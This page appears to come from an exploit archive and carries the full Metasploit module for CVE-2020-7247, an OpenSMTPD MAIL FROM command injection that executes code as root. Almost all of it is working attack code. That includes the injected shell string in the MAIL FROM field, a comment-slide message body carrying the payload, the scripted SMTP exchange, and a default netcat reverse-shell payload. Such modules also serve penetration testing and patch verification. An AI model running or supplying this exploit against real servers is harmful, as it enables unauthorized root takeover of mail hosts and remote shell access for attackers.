Opensmtpd mail from remote code execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-10 | Type : remote | Platform : linux

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Expect

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
'Description' => %q{
This module exploits a command injection in the MAIL FROM field during
SMTP interaction with OpenSMTPD to execute code as the root user.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu', # Module
'RageLtMan <rageltman[at]sempervictus>' # Module
],
'References' => [
['CVE', '2020-7247'],
['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3']
],
'DisclosureDate' => '2020-01-28',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
['OpenSMTPD >= commit a8e222352f',
'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
))

register_options([
Opt::RPORT(25),
OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
end

def check
connect
res = sock.get_once

return CheckCode::Unknown unless res
return CheckCode::Detected if res =~ /^220.*OpenSMTPD/

CheckCode::Safe
rescue EOFError, Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end

def exploit
unless datastore['ForceExploit']
unless check == CheckCode::Detected
fail_with(Failure::Unknown, 'Set ForceExploit to override')
end
end

# We don't care who we are, so randomize it
me = rand_text_alphanumeric(8..42)

# Send mail to this valid recipient
to = datastore['RCPT_TO']

# Comment "slide" courtesy of Qualys - brilliant!
iter = rand_text_alphanumeric(15).chars.join(' ')
from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;"

# This is just insurance, since the code was already written
if from.length > 64
fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars')
elsif (badchars = (from.chars & target['MyBadChars'])).any?
fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}")
end

# Create the mail body with comment slide and payload
body = "\r\n" + "#\r\n" * 15 + payload.encoded

sploit = {
nil => /220.*OpenSMTPD/,
"HELO #{me}" => /250.*pleased to meet you/,
"MAIL FROM:<#{from}>" => /250.*Ok/,
"RCPT TO:<#{to}>" => /250.*Recipient ok/,
'DATA' => /354 Enter mail.*itself/,
body => nil,
'.' => /250.*Message accepted for delivery/,
'QUIT' => /221.*Bye/
}

print_status('Connecting to OpenSMTPD')
connect

print_status('Saying hello and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: sock,
timeout: datastore['ExpectTimeout'],
newline: "\r\n"
)
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
disconnect
end

end